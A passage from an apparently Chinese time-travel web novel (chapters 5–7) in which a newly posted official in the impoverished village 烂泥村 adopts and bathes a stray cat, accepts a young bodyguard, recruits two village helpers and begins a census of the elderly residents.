“咱村也不是没来过别的官员,他们没有一个不是对我们呼来喝去的,集全村不多的物资养着他们,最后还要说我们这破地方狗都不来。”她见余玥玺脸上定格着僵住的假笑,拍拍她的手,“所以您真是个大好人啊。”
“啊哈哈哈,您看您,吓我一跳,还以为您对我有意见呢。”余玥玺这才放心下来,“您别担心,我才不会像他们一样呢!您等着吧,看我怎么把烂泥村做大做强,首创辉煌!”
“好好好,好好好。”韩大姨笑得眼睛眯成一条缝,“不过烂泥村我的情况我也知道,您尽力就行啦,能让我们吃饱饭我们就很满足了。”
送走了韩大姨,余玥玺本来是想快快吃好早饭然后去村里做人口普查的,但是粥有些烫,她便决定放凉一点再吃。
粥冒着腾腾热气,腌菜看起来黄澄澄的,想必口感也是脆爽无比的。
她扭头看了一眼趴在书堆里的猫,猫又睡过去了,爪子藏在肚皮下,尾巴安安分分地垂在地上,好一个可口的肉松小贝——可惜沾了灰。
今天不管说什么都要给这家伙洗澡,什么都不能耽误她吸猫!
趁着粥放凉的时间,余玥玺走进了厨房,厨房看起来已经很久没有被人使用过了,灶台上落了一层灰,长了青苔的干柴被随意堆放在墙角,两口硕大无比的铁锅镶嵌在灶台里,结构竟是和她在现代农村外婆家的厨房一模一样。
她又摸黑进了一个小房间,小房间的房梁上挂着一个灰扑扑的布袋,没有床也没有桌子,只有一个小小的雕花木箱。余玥玺尝试了许久都没办法打开,于是果断放弃。
粥应该凉得差不多了,她便又回到大房间去了。
一进门,眼前的景象让她呆住了。
猫正在一口一口舔着碗里的粥,粥已经被它吃去了大半,旁边的腌菜也有被动过的痕迹。猫吃得胡子一颤一颤的,看起来居然挺开心。
“喂,这是我的早饭啊!”余玥玺也顾不得猫是不是能听懂话了,直接一顿数落,“你吃了我吃什么?吃你吗!”
“喵呜。”猫抬起爪子擦了擦脸,斑驳的猫脸上竟是有隐隐的笑意。
奇了怪了,莫不是自己的想象力过于丰富了,猫怎么会有表情和情绪呢?
但是!不管怎么说,它吃了自己的早饭,昨晚还把她好不容易整理好的书弄得乱七八糟,它就绝对不是一个好猫!
仅剩的一点怜爱烟消云散,余玥玺此刻满脑子都是都怎么把这只猫给送出去。
等等,会不会是,它本来就是别人家的猫呢?
有点道理,如此偏僻的小山村,怎么会有别的猫随随便便来呢?所以,这一定是别人家的猫,昨晚巡逻到我的院子里来了,不慎和一个什么别的东西打了架然后受了伤。它本来应该是要回家去的,结果昨晚被我扣留了一晚上。
它的主人一定很着急,所以要快些送回去为好。
这么一想,猫的行为倒也能够理解了。跑到床底是害怕生人,把书弄得一团糟是好奇,吃光了它的粥是因为它的早餐平时也就是这个……
“下次打架不要离家太远了哦。”余玥玺道,“不然是会被别人捡走的呢。”
猫看着她半晌,忽然拱起背部,耳朵缩了起来:“哈!”
好端端的,怎么就突然发病哈气了,余玥玺不解。
“嗨呀,说你两句还不乐意了?”余玥玺不敢直接上手抱,取下竹竿上晾晒的不知曾经作何用的抹布,将这团猫整个地抱了起来,“不要动了,我带你去找你的主人去。”她抱着这团猫走到了门外。
猫似乎很不习惯被这样抱着,伸出蠢蠢欲动的爪子就要作势吓唬余玥玺。
“老实一点!”余玥玺整个捏住它的爪子一同塞进了布里,顺便轻敲了一下猫的脑壳,如此一来整只猫便只露出个脑袋在外面了。
“哈——”猫还没有发泄掉自己的怒气,张着嘴准备再次用人听不懂的母语来过个嘴瘾,可结果……
“哈什么哈?我可是要帮你找主人。”又是一个栗子敲在了头上。
猫暂时安静了下来。
“余姐姐早啊!”桃儿肩扛着一张卷起来的渔网,打老远的就兴冲冲和她挥手打招呼,柳儿扛着一把锄头,挽着一个竹篮,对她微笑着点点头,也算作是打过招呼了。
待走近以后,桃儿的眼睛便黏在猫的身上了,她伸出手轻轻撩了一把猫的脑袋,语气既惊讶又欢喜:“哇塞,是小猫咪!”
她转过头急急地对柳儿说:“你也来摸一摸嘛!”
“小心些,这猫凶得很呢。”害怕桃儿被挠,余玥玺赶忙提醒道。
“没关系没关系!”桃儿又摸了一把猫,“它只是有些害怕而已,这种猫没什么攻击性的。”
柳儿的神情有些严肃,他用一种不像看猫的眼神盯着这只猫。
感觉被冒犯到的猫立即张嘴,怒目而视:“哈!”
“哈哈哈哈哈!”桃儿大笑出声,“怎么我上手摸都没事,你是有多不受猫
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的待见啊!”
这话说得没错,柳儿也不好反驳,从喉咙里溢出一声“哼”来,将头扭到一边去了。
“小桃儿,你知道这猫是谁家的吗?我急着找它的主人呢。”余玥玺总算是找到机会说出自己的疑惑了。
“谁家的?”桃儿疑惑地反问了一句,并未直接作答。
“是啊,我想问问这是谁家的猫,昨晚在我院里打架来着的。”余玥玺讲着事情的经过,“这是谁家的猫,你肯定比我熟悉,省的我等会在路边一个一个问了。”
“不好意思啊,余姐姐,我还真不知道这是谁家的猫,只露个脑袋我看不出来啊。”桃儿挠头。
柳儿此时插嘴道:“据我所知,村里没有谁养这只猫,它不属于村里的任何一户人家。”
“啊?真的假的?”桃儿歪头,语气里满是不可思议。
“我对村里的每一只动物的眼睛都很熟悉,而我刚刚观察它的眼睛,我很确定我没有见过。”此时的柳儿仿佛大神探上身,先前失掉的自信心也回来了。
“哇哦,那你真的是好棒棒诶。”桃儿立刻“呱唧呱唧”鼓掌,但看不出任何赞赏的成分。
余玥玺举起那团被包成一个球的猫,与之平视,口中念叨:“那你是从哪来的,野的吗?”
被盯了许久的猫本想三度示威,但念及那力度不小的栗子,于是单单把眼睛给闭了起来。
什么嘛,闹了半天你也不是这儿的猫啊,余玥玺感到有些可惜。不过一种莫名的欣喜却悄然而生,那这猫,真的就属于自己了?
“柳儿,你说的啊。这猫不是村里其他人的,那我要了它很合理吧?”余玥玺眯起眼笑笑,看起来居然是一副开心的样子。
“呃,嗯,嗯,很合理。”柳儿的直觉告诉他眼前这个人在给他下套,但下套的材料又是他亲手交出去的,还能怎么办,只能硬着头皮答应咯。
桃儿则是立即开始欢呼:“太好了,余姐姐有猫啦!”
“我有空可以来看猫吗?”桃儿又眨巴着眼问。
“当然。”她点头,“到时候生了小猫的话我可以送你们哦。”
“那可太棒啦!我一直想养一只小猫呢,但娘说家里养我一个就够闹腾了,再加只猫不知道会吵成什么样!”
看着桃儿一脸崇拜之色,她可耻地膨胀了。
接下来是例行的关心:“你们要去哪啊?”
桃儿笑眯眯回答道:“我去捞鱼,今晚请您来吃鱼!柳儿去锄地,顺便收菜。余姐姐今晚来的话,菜可是要比昨晚的要好呢。”
“总是去你们那吃,会不会不太好?”
“怎么会呢,我们家算是烂泥村经济条件最好的家庭了。”桃儿说,“您刚来,自己做菜也不方便不是吗?要是去别的村民家的话,对他们来说倒是有点小负担了,所以你可一定要来麻烦我们啊。”
桃儿又拍拍渔网:“姐姐你就不要担心这些了,说好了啊,我晚上还会来接你的,以防万一,我会和柳儿一起来,可以把你给抬过去。”
“哈哈,好呀,到时候我一定去。”余玥玺被这孩子气的语气逗笑了,与二人挥手作别后,她的步子又踏回了院子里。
“好了,你也别有怨言了,从今往后,你便是我的猫了,可不许再随便哈气了哦。”余玥玺轻轻拍着猫露在外面的脑袋,“你的名字我也想好了,就叫‘花花’吧,看和你的毛色多搭,没有什么比这更适合你的名字了!”
猫没说话,于是余玥玺就当它默许了。
5. 洗澡是个大工程
抱着猫走回到院子里,一个黑影“唰啦”一下从高处飞出,正巧落在余玥玺的面前。
“余大人您好。”那人“噗通”一声跪在她的面前恭敬问好。
大清早的被这样一吓,余玥玺已不知该作何表情了。
“你谁?”她无可奈何地问。
“我是郑大人派来的……”
不是吧,自己不过是说了句不认识他而已,用不着小心眼到追这么远派人来暗杀自己吧……
不过听到这个名字就来气,余玥玺拧着眉毛道:“他想干嘛,这里没你事,快走!乱来的话,我可要喊人了!光天化日之下,岂可随随便便取无辜之人的性命?”
“我不是,我没有。我是郑大人派来保护您的安全的。”那人又道,匍匐在地上,头也不抬,声音听起来倒是年轻。
“我能有什么危险!”余玥玺已无性命之虞,声音不觉高了几度,“姓郑的真是想起一出是一出。”
考虑到她以后可能还会和那个“姓郑的”低头不见抬头见,她又充满威胁性地补充了一句:“你,回去以后报告情况的话,不许说我叫他‘姓郑的’,听懂了吗?”
“我不回去,郑大人说穷山恶水出刁民,怕您在这边有危险,让我一定要在暗中保护好您。”
还来劲了是吧?
“他不生在穷山恶水他也是个刁民,谁能恶得过他?”想起那日朝堂之上他的嘲讽,余玥玺就气不打一处来,她毫不客气地下了最后通牒,“你走不走?再不走我就不客气了。”
虽然“不客气”是怎么个不客气法,余玥玺也不知道,但狠话还是要放出来的,不然还真当她好拿捏了不是。
“我不走,这是我的第一份工作,郑大人说要我好好表现,我还要养我家里人的。”地上的人倒也犟得很,仿佛和余玥玺杠上了,“我不会打扰您的,只要您不愿意,我是不会出现在您的视野里的,只求您让我留在这里。”
好你个郑文竹,你就这样试探我的善心是吧?余玥玺没抱猫的那只手紧紧握成一个拳头,其实在听到他讲“养家里人”的时候就已经泄气了,可为了维持表面上的威严,她还是提高音量道:“什么名字?今年多大了?”
“回余大人,在下乔河,今年十六岁。”
完完全全就是个小孩子,余玥玺想,那个姓郑的绝对是故意的,而自己还偏偏就这么清醒地上了套。
“抬头,让我看看你是什么样子。”
乔河顺从抬起头,看起来灰头土脸的。
“你住哪?我可不会给你提供住宿的。”余玥玺板着脸硬邦邦地说。
“您同意我保护您了?”乔河咧嘴一笑,仿佛并不在意余玥玺的态度。
“打住,我只是让你暂住在这里,我可不需要你保护,而且你看村子的情况是需要你来保护我的吗?况且我还有这只凶兽呢。”她举起被团成一个球的猫,“它绝对是看见护院的一把好手。”
“而且,我再提醒你一句,既然你来了,你就给我好好干活吧。”余玥玺倒是很懂得利用资源,“村子以后的建设用得到你,懂了吗?”
乔河拼命点头,他从地上爬了起来,眼睛自然而然落到了余玥玺手里抱着的那只“凶兽”猫身上。
这小猫怎么看怎么都和“凶”搭不上边,况且看起来还伤得不轻,不过这位大人说什么就是什么吧。
“这猫受伤了,我有药。”乔河决定投其所好。
猫和余玥玺齐齐看向他。
余玥玺点点头,称赞道:“倒是个好东西,你还有别的吗?”
“您需要什么,我可以随时回去取。”乔河回答。
余玥玺矜持点头:“很好很好,你是我的手下了。今后什么该说什么不该说你懂吧?”
“懂的懂的,在下一定会看管好自己的嘴。另外我本就不是来监视您的,我的工作就是保护您,您说您不用我保护,那自然便是您要我做什么我便做什么了。”乔河的语气恭恭敬敬。
“姓郑的能那么好心,他出工钱给我人?”余玥玺冷哼一声,挥了挥手不耐烦道,“药你留下,然后你爱去哪就去哪吧。另外,你再多准备些药去,办得到吗?”
“是,来回大概需要十天左右,大人稍安勿躁,另外您还需要什么吗?”
还需要什么?余玥玺细细思索了一番,需要的东西其实还真不少,但都是些大物件,乔河还未必就能带上来。
于是她说:“暂且带些药回来就好,治疗外伤的、风寒药、腹泻药……外边药店里有什么药你都统统带过来吧。”
乔河不住点头:“嗯,好的,余大人我记住了,那我走了。”说完他正欲离去时,余玥玺又叫住了他。
“再带些糖回来吧。”
“嗯,好的。”
乔河领命而去,像刚刚突然出现一样地又突然消失了。
支走了乔河以后,余玥玺开始对着花花进行清洁工作了。看着猫乱七八糟的沾着血的毛发,她打消了先梳毛的念头,决定先给它洗个澡。
从柴房角落拖出一个不知曾经作何用的盆,她先是感叹了下村民们考虑之齐全,做事之周到,而后才到了还未生过一次火的厨房,打开厨房后门,如她所料,一眼细细的清泉正汩汩流淌。
余玥玺掰过竹筒,将盆放在其下,流动的泉水渐渐淹过盆底,上涨起来。
“这水真不错,看起来可以直接喝呢。”她微微摇晃了下盆,“接起来放到城里集市里卖,就这么吆喝,纯天然山泉水,喝着更放心!”
“呼呼呼——”被包成一团的花花在一旁不耐地蠕动着身子,像是要挣脱束缚重新归隐山林一般。
“怎么,花花,想跑啊?你跑不掉咯,你已经是我的猫了。”余玥玺笑眯眯地说,“好不容易才抓到一只无主的猫,怎么能让你随随便便就跑掉呢?”
挣扎得累了,猫停止了蠕动,脑袋搁在地上,微微张着嘴喘气。
没过多久,水位上升到一个余玥玺觉得合适的高度,她歪头打量着花花,都说猫儿是极害怕水的,希望花花不要太害怕水。
不然,就此前它表现出来的攻击力,怕不是一下水就会给她挠出个大花臂。
于是,她开始轻声细语地和它商量:“花花啊,等会你可千万别害怕,我只是给你洗澡,不是要害你,所以等会千万不要挠我,好吗?”
说完,她才反应过来自己的可笑,猫怎么会听懂人话呢?
要真挠了怎么办?
挠就挠了吧,养都养了,还能丢了不成?
花花先是看了眼清澈得闪闪发亮的水,又看看一脸不安微笑的余玥玺,无可奈何“喵”了一声。
她拆开包裹着花花的抹布,轻手轻脚地捧起了它,先从后爪开始,慢慢伸到水中,接着轻轻放入前爪。
还好还好,没有她想象中那么闹腾。
接下来的一步有些冒险了,是要将水淋在猫的身上。余玥玺捧起一把水,慢慢地浇在花花的背上,猫打了个哆嗦,却并未再有其他动作。于是余玥玺放下心来,兜头浇了猫一脸水。
花花抖抖耳朵,将前爪伸出水外——
不好,不会挠我吧!余玥玺赶忙停下手中动作,跳出几步开外。
但结果却是,此猫悠悠然地将爪
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子搭在了盆的沿边,湿淋淋的尾巴竖起,尾尖弯曲,竟是一副怡然的样子。
怪了怪了,居然真有不怕水的猫,她虽疑惑,内心确是窃喜的,这下以后给它洗澡就方便多了!
虽然看起来有些野性难驯,但其实还好嘛!
重新返回到装着猫的盆旁边,余玥玺不再战战兢兢,她大着胆子将水浸湿花花的每一寸猫毛,一边摸摸脑袋壳,一边掏掏下巴颏,一边还揉揉猫软软的肚皮。
第一遍洗好后,她将猫抱了出来,又倒掉了血污的水,重新接了一盆清水,还不待她重新将它抱回去,花花居然主动跳进了盆里,溅起的水花有几滴落到了余玥玺的脸上。
可她并未生气,只轻敲了一下它的脑壳,不带任何威胁性的语气道:“乖一点,洗澡的时候不要玩水。”
“喵喵喵?”花花歪头,看似无辜地发问。
如果可以的话,真的好想把它带回现实世界啊!余玥玺拍着心口,这么好的猫,有了第一只就难有第二只了啊。
可惜只能在脑子里想想了,她自己目前还不知道要怎样回去呢。
叹口气,让悲伤的想法挥之而去。
“洗好了,该上药了。”余玥玺把猫从水里拎了出来,甫一出水,花花就迫不及待摇头摆尾,恨不得将水给甩干净。
本来因水服帖的毛在它的大动作下炸裂开来,整只猫看起来干瘦又生气。
“哈哈哈哈哈。”余玥玺一边笑一遍习惯性地摸了摸口袋的地方——自然是什么都没有的,手机这种东西怎么可能会出现在这个时候这个地方呢?
爽朗的笑声有所停顿,但接着她又笑了起来。
没什么的,记在脑子里就好了!
等笑够了以后,余玥玺才俯下身子抱起了它:“别闹了,这下真的要上药了。”
乔河留下的药不多,给人用大概是不够的,但是给猫用的话,却是绰绰有余的。余玥玺甚至思索了下给人用的药是否真的可以给猫用。
“应该没关系的吧,不是内服的大概没事,外用的,人的伤口和猫的伤口不都一个样子嘛。”她自言自语,颠来倒去地将小白瓷瓶翻来覆去地看。
“不知道疼不疼,如果疼的话,你且忍一下哦。”余玥玺一下又一下地轻轻摸着花花的头,语气轻柔,动作温柔。
花花蹲坐在桌上,歪头打量着余玥玺手中的瓷瓶,它伸出爪子在半空中舞了舞,还未碰到小瓷瓶的时候爪子就被拍了回去:“别动啦,就这么一瓶,小心弄碎了。”
余玥玺伸手将猫抱在怀里,用食指轻轻挑起花花的下巴:“这一处上点药就好了,别的地方伤口不太深。”顺手再从包袱里抽出一条手帕,“不要动。”她用手掌固定住猫的脖子,然后轻轻洒了些药粉在伤口上,紧接着迅速用手帕充当纱布,将它的脖子围了起来。
还顺手系了一个蝴蝶结。
“真可爱。”她满意地看着自己的杰作,“药粉还剩了一些,我可真节俭啊!”
但花花明显不这么认为,它伸出爪子,不停地拨弄着蝴蝶结;又转头,对着背后的空气又啃又咬。
“好啦好啦,别闹了。”余玥玺握住它的爪子,“把这个弄掉了伤会好不了的,留疤就不好了,摸起来一点都不顺手。”
“喵喵喵喵!”花花挺着脖子,不服气地一通乱喵。
呦呵,这家伙还不服气?
刚想学某人将小猫抱在怀里乱吸让它知道谁才是老大之时,门口传来问候:“余大人您好,请问您有空吗?我想来和您探讨一下烂泥村的治理问题。”
自己的威信不能刚来就碎成渣了吧?
6. 大小助手齐到位
“余……大人?您?”周小吉极其自然地向屋里走了几步,却在踏进门口时忽然顿住脚步。
村中人在白天大多大开门户,彼此之间熟悉的很,你来我往也不用顾忌什么。因此周小吉见她门是开着的,便未敲门就走了进来。
没曾想却见到了这位新来的大人不为人知的一幕。
大人抱着猫——抱着猫并不稀奇,但她却是把猫的肚皮翻上来的,面目似有些狰狞,鼻尖离那只猫只有几寸的距离了。猫的表情同人一样狰狞,爪子在半空中无力地挥舞。
似乎是察觉到她来了,这位大人连忙丢下猫,恢复了正襟危坐的姿态,而得了空猫连忙头也不回猛窜到了床底。
“怎么又!”大人的嘴角抽搐了一下,但立即恢复了正常,尽力用平稳的声线道:“您好,请问您是?”
“啊,余大人您好。”周小吉也回过神来,“我叫周小吉,是……是韩大姨的孙女。”
“您刚刚在干什么呢?”实在按捺不住好奇心,她又问。
大人看起来还挺面善的,应该不会怪罪她多问吧?
余玥玺愣愣地看着她,又瞟了一眼床底:“没什么没什么,和猫的一点正常的小小互动而已。”
最后她又如释重负般叹了口气,摇摇头:“我叫余玥溪,是皇城那边来的官员。请问您有什么事?”
“余月西?好美的名字。”周小吉看起来钦羡不已,“月亮从西边出来,银白的月光洒满整个村子……”
嗯?还好没说自己真名叫余玥玺,不然岂不是成了快乐的月亮了?
“哈哈,哪里哪里,你的名字也很可爱嘛。”余玥玺努力做出和善的表情,“你来不只是拜访我这一件事吧?”
“啊,是的!刚刚进门时就已经说了,您可能没听见。”周小吉点头,“我是来和您探讨烂泥村的未来这件事的。”
哟,这么快就切入正题了吗?余玥玺做出一副深思熟虑的模样,沉声问道:“我想问问,烂泥村的具体情况是?”
“由于平地排水不畅,导致大部分地区都是坑坑洼洼的烂泥塘,无法种植作物。仅在地势比较高的地方,才有些一点空地来种庄稼。那一大片地方是被我们村里所有人共同保护的地方,柳儿没事就往那边跑,堆石子给它围起来。”
“嗯嗯嗯。”她点头,表示自己听进去了,又想想那个高高瘦瘦闷葫芦似的柳儿,竟是天天蹲在田边捡石子,不免觉得有些好笑。
“可是啊,最近几年那片地也不太安全了,平时倒还好,雨季那阵子入口处也能灌进些雨水了,再这样下去,我真的担心村子以后连一片可以种庄稼种菜的地方都没有了。”说到最后,周小吉的声音沉闷,透露出些许哀伤。
“您有什么法子可以让天不降雨吗?”周小吉看着她,语气诚恳,“听闻皇城有很多本领高强的道士,可以把他们请来吗?把我们这边的雨送到别处去,肯定有地方是需要雨的,正好我们这里雨水过多,这不是两全的法子吗!”
这,这倒是太难为她了。余玥玺摸了一把额头渗出的汗,解释道:“这个我真的办不到,世上也没人能办得到。”
“真的吗?那烂泥村可怎么办啊?难道大家真的要离开这里了吗?”周小吉透过打开的窗子眺望远处,语气茫然,“外面能接纳我们吗?”
这村子的人,除了桃儿,怎么一个比一个悲观!
“怎么会呢,有我呢,你们放心!”余玥玺手指着床边被花花弄得乱七八糟的一堆书,语气自豪道,“解救之道,就在于此!”
“放心放心,相信古人的智慧还有我的能力,这么多书里有这么多解决方案,总有一款适合烂泥村!”
周小吉向书堆处走了几步,她蹲下身,随手拿了一本,翻开到某一页,轻声念着里面的内容:“凡制优良……瓷品,首重为土,掘于山,曝于日,筛以去、去砂砾……出窑之瓷品,釉面、光彩如云霞,赏之甚、佳。”
虽然有些磕磕绊绊,有些字的读音还有问题,但她读完那一段后,眼睛亮晶晶地看着余玥玺:“我读得没有问题吧!我,我也是读过一点书的呢!”
“嗯,很好,很不错!”余玥玺不吝夸赞,立刻开始鼓掌,“我决定聘请你为我的大助手!”
被夸了的周小吉晕乎乎地问:“大猪手?大猪手是您独特的赞美用词吗?”
“不是不是!”余玥玺没料到她居然会这么想,赶忙解释,“就是帮我打理一些琐事的那种,相当于我的大弟子!嗯,没错,我的大助手!”
周小吉感动不已,自己只不过第一次上门,就被施以如此殊荣,但感动之余,她又怯怯地问:“余大人,可是我都不知道我会什么,我怎么帮你呢?”
“什么大人,不要叫我大人,我们有必要这么生疏吗?”余玥玺站起身,拍拍她的肩膀,“我叫你小吉,你可以叫我小溪……”
“算了,你还是叫我小玺吧。”内心挣扎了一会,她还是决定说出自己的真名,“其实我的真名是余玥玺啦。”
周小吉微微点头,好像很轻易地就接受了这个事实:“嗯,我明白了,余月喜吗?这名还……还挺喜庆的。”
“嗯,好的,小喜!”她很高兴地重重点头,又兴冲冲问,“需要我做什么吗!”
“当然!”余玥玺也兴致高昂,“我首先要做的便是人口普查!我要了解这村中的每一户人家的具体信息!”
“那我们现在便走吧,我来引路。”说着周小吉就要站到门口去了。
正欲出门之时,余玥玺的余光一瞥,正巧瞧见从床底探出一个毛茸茸的脑袋来。怎么把这家伙给忘了!
关门,一定要关门,还有窗户,也要关起来。
一定要关得严严实实的,连只苍蝇蚊子也飞不进来的那种。不然啊,这猫可是会逮住机会就逃跑的。
她开始四处翻找,一边翻找一边在思索钥匙在哪。
“在哪呢在哪呢?”
似乎自己刚来的时候这门就是敞开的,钥匙好像也没经过自己的手。
而周小吉见她刚刚还好好的,一会就变得和失了魂在找自己的魂一样。
“小喜,你在干嘛?”
“钥匙呢?钥匙呢?我钥匙呢?”余玥玺一连重复了三遍,看上去急得不得了。
周小吉安慰道:“没关系的,就算没有钥匙也没事的,烂泥村民风淳朴,是绝对不会做出偷鸡摸狗之事的,大门就这么开着也不打紧。更别说你还是皇城来的呢,大家都会很尊重你的,放心吧。”
“不,和鸡和狗都没关系,有关系的是那只床底下的猫。”余玥玺一把抓住周小吉的袖子,控诉道,“你都不知道这猫有多野,不仅把我的书弄得一团糟,还在半夜打扰我睡觉!”
“哼喵。”花花继续探着脑袋,在余玥玺最后一句话说完的时候适时喵叫出声,像是反驳,也像是“我就这样,你能把我怎么着”。
“你这坏猫!”余玥玺不痛不痒地骂了一句,噔噔噔几步跑到床边,伸出手就要把它拎
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出来。
“喵喵喵。”花花极其迅速地又退回到角落里去了,耀武扬威地喵喵直叫。
“看见了吧。”余玥玺站了起来,摊手无可奈何道,“我担心它趁我出门的时候跑掉,这可是我好不容易才得来的猫啊。”
“那是,跑掉就不好了。”周小吉表示理解了,“村里人不出意外的话,会把大门钥匙放在……最里面房间的小布袋里。”
“想起来了,好像是有这么一个小布袋,当时我看脏兮兮的就没管它,里面居然放着钥匙吗?”
余玥玺顺利取来钥匙,顺利锁好了门。
走出几步开外后,她听见了窸窸窣窣的挠木门的声音,回头一望,紧闭的大门微微颤动着,从细细的门缝里隐约能看出猫爪在晃动。
门关得够紧,它是绝对出不来的。
于是余玥玺跟着周小吉放心地离开了。
周小吉果然是个好助手,她每到一处地方,便会开始介绍这户人家的基本信息。
“这一片都是烂泥塘,在我小时候我记得这里是可以种菜的。后来有一次下了三天三夜的大雨,这里就不太能用了。诶,别过去啊,小心陷进去!”
“我觉得这里可以种藕。”余玥玺煞有其事地说,而周小吉不太理解地摇摇头。
二人便继续向前走。
“这户人家我知道!这是桃儿和柳儿的家!她家一共四口人。”余玥玺抢答道。
周小吉道:“嗯,是的,没错。”
接着她又神神秘秘压低了声音:“其实桃儿和柳儿不是兄妹,我的意思是,不是亲的。”
“这个我模模糊糊地知道。”余玥玺也不觉压低了声音,“所以到底是怎么一回事呢?”
“当年皇城那边招兵,村中几乎所有青壮年男性都被招走了,后来战争结束了,他们却大部分都没有回来。柳儿的爹就是,他的娘接受不了这个事实,某一天丢下他离开了,至今也没回来。桃儿家见他一个孤零零的可怜,就收养了他。”
“战争还真是残酷呢。”余玥玺叹息一声,“不过将来,很遥远的将来,一切都会变得好起来的。”
“小吉姐姐!还有余姐姐!”一声活泼的招呼穿插进来,“你们是来我家坐坐的吗?那快进来呀!”桃儿笑眯眯地跑来,一手牵着一个,作势就要把两人往屋里带。
“桃儿,我们不是来特地找你的。”周小吉微微笑,声音染上些许自豪,“我现在已经是小喜的大助手了哦。”
桃儿的眼睛和嘴巴一起张大,欢欣鼓舞:“我也要当余姐姐的助手,既然小吉姐姐是大助手,那我就当小助手吧!”
“接下来我们要干什么!”桃儿立得笔直,眼神坚定且严肃。
“探查军情,哦不,探查村情。”余玥玺也故意做出一副严肃表情。
“村中户数不到30户,人数不超过100人,拥有最多人数的是我家,一共四口人。拥有最少户数的有5户。”桃儿讲得头头是道。
“真棒啊,小桃儿。”周小吉摸了摸桃儿的脑袋。
“那是自然,不枉我天天挨家挨户地串门!不过余姐姐,你要知道这些干什么啊?”
“嗯哼,一点小小的人口普查而已,接下来的一段时间里,我还会挨家挨户上门拜访,我要深入到人民群众中,切实感受大家的难处,然后施以最精准的政策!”余玥玺慷慨激昂,看上去干劲十足。
虽然剩余两人并未听懂她说了些什么,但皇城来的,说什么都是对的!
7. 民风淳朴烂泥村
余玥玺讲着讲着便有些感慨:“我当什么历史生啊,我觉得我应该去考公。”说完她莞尔一笑,又道:“我们接着走吧,最好去找那种家里只有一个人的。”
“下一户就去刘奶奶家吧!”桃儿提议,“她的家人去年离开了,因为觉得她太老了走不动路了,就丢下了她。”
“不过我每天都有和刘奶奶聊天的,确保她不会太孤单。”
“桃儿真不错,我觉得你相当适合做心理诊疗师呢。”余玥玺半开玩笑半认真地说。
“那是什么东西,没听过。”桃儿疑惑地问。
想来这群人也从未出过村子,对外面更是不甚了解,余玥玺便胡诌:“就是皇城的一个职业,专门陪人聊天的,和这种人聊完天,心里就不难过了。”
“哇,好棒啊。那我要抓紧学会识更多的字,以后等村子好了我就去皇城去当那个什么疗师!”桃儿转向周小吉,冉求道,“小吉姐姐,我以后不会再逃识字课啦,所以你能不能在每周再加一节课呢?”
“怎么我讲了那么久的让你好好识字你不听,从皇城来了个余姐姐说了几句好话就让你心甘情愿识字了?”周小吉做质问状。
桃儿嘿嘿讨好地笑:“当局者迷旁观者清嘛。”
余玥玺不禁扶额,这孩子,知识怎么学杂成这样了,看来针对村里这种年轻的孩子,进行适当的教育也是必不可少的。
“小吉,你是识字是吗?”她问。
“嗯,略懂而已。”周小吉倒懂得谦虚,“不过教她们倒是足够了。”
“很好很好,我的大助手,我决定再委派你一项艰巨的任务——教孩子们读书。”
“可是我也并没有懂很多……”周小吉窘迫道,“念念字倒是可以,背古诗文我就不太行了,除非我有一本诗词书。”
“没关系没关系,还有我呢。”余玥玺宽慰,“又没让你一个人教,你就是我的助教了懂吗?”
好不容易弄懂了“大助手”不是“大猪手”,这会又来了个“猪脚”,明知道应该不是自己想的那个意思,但是“猪脚”两个字在周小吉的脑海里徘徊不去。
余玥玺显然是没料到自己的大助手兼助教的颅内世界如此丰富,她依旧兴致满满地畅想着烂泥村的未来:“光交识文断字还不够,还得教些简单的算数;然后还可以做我的本职,教历史!还有呢,还可以教思想政治!”
她兴奋地畅想着,一些不切实际的想法也冒出来了:流芳百世,流传千古。若是有关她的史料被出土了,考古界可能会震惊。
震惊,原来世界上最早的有关人人平等的思想竟出自一个小村庄的村长!
“嘿嘿,嘿嘿。”想着想着余玥玺就有些忘形了。
还是周小吉拍了拍她,将她从她的精神世界拽出来:“小喜?我们不是要去刘奶奶家吗?”
“啊,对!”余玥玺赶紧恢复正常,向四处张望,“往哪个方向走?”
刘奶奶坐在摇椅里,眯着眼睛晒太阳,身侧的白狗也卧在地上,和它的主人一起享受着日光的照耀。
“刘奶奶!刘奶奶!”桃儿喊了几声,将昏昏欲睡的老人硬生生喊醒了。
“诶?桃儿啊?你怎么变成三个啦?啊不对,怎么身高还不一样?”刘奶奶看起来眼神不太好。
“像我这么聪明伶俐活泼可爱的桃儿世上只有一个哦!旁边的是落落大方温柔善良的小吉姐姐以及美丽动人聪慧过人大慈大悲的余姐姐!”桃儿说完后,面向周小吉,“小吉姐姐,我这成语用得对不对呀?”
周小吉哭笑不得:“对,可太对了。”
刘奶奶的眼睛迷迷瞪瞪,脑子也模模糊糊:“余姐姐,余姐姐是谁啊?咱村有姓余的吗?”
“是我是我。”余玥玺赶紧上前介绍自己,“我,余玥溪,从皇城那边过来的,以后就是村里人了。”
“害,你这小姑娘,脑子怎么这么不灵光,皇城人来这里生活干嘛呀?”
“我不是来这里生活的,我是来帮村子富起来的。”余玥玺本能地觉得这位老人眼睛不好,耳朵肯定也是不好的,便不觉声音提高了几度。
刘奶奶揉了揉耳朵:“你这小姑娘,说话声音这么大干什么?我是眼睛不好了,耳朵还是好得很!对了,你刚刚说了什么?”
“余姐姐是皇城那边来的官员!来帮助咱们的!”桃儿用比刚刚余玥玺还大的声音喊。
“哦,哦,哦。”刘奶奶一连哦了三声,然后就没有后话了,继续闭着眼睛晒太阳,白狗也懒得起身,趴在地上摇尾巴。
“行,看您精神还不错,就不打扰您啦。”余玥玺又喊了声。
回应她的是老人家轻微的鼾声。
“刘奶奶精神挺不错的,能吃能睡,除了眼睛和耳朵不太好以外都还不错。”桃儿解释,“我们接下来还可以去钱大爷家,他也是一个人。”
周小吉补充道:“钱大爷的妻子前些年去世了,老两口就一个儿子,在十多年前那场招兵中离开了,后来也是一直再没有回来。”
听着听着,余玥玺又有些悲伤了:“那这位大爷他,生活怎么样?”
“还不错,家里养了一只猫两条狗,一群鸡鸭,还种了很多花!”桃儿回答,“前面不远就是了,看那片爬满了整个墙的花!”
余玥玺顺势望去,果然是极其显眼的,花儿的清丽明艳和破旧灰败的房屋形成鲜明对比,但她却从中看出些许蓬勃的希望来。
希望这些孤单的老人们内心不孤单吧。
“大爷好!我来啦!”桃儿还是那么礼貌,一见着人就开始打招呼,“这是贵客余姐姐!”
提着锄头的老头笑呵呵地点头:“桃儿是贵客,小吉也是贵客,大家都是贵客。能来我这个糟老头子的小破房子的都是贵客。”
“你是小余是吧?来这是有什么事情?有需要帮忙的尽管提,我能帮的肯定会帮。”钱大爷也是个健谈之人。
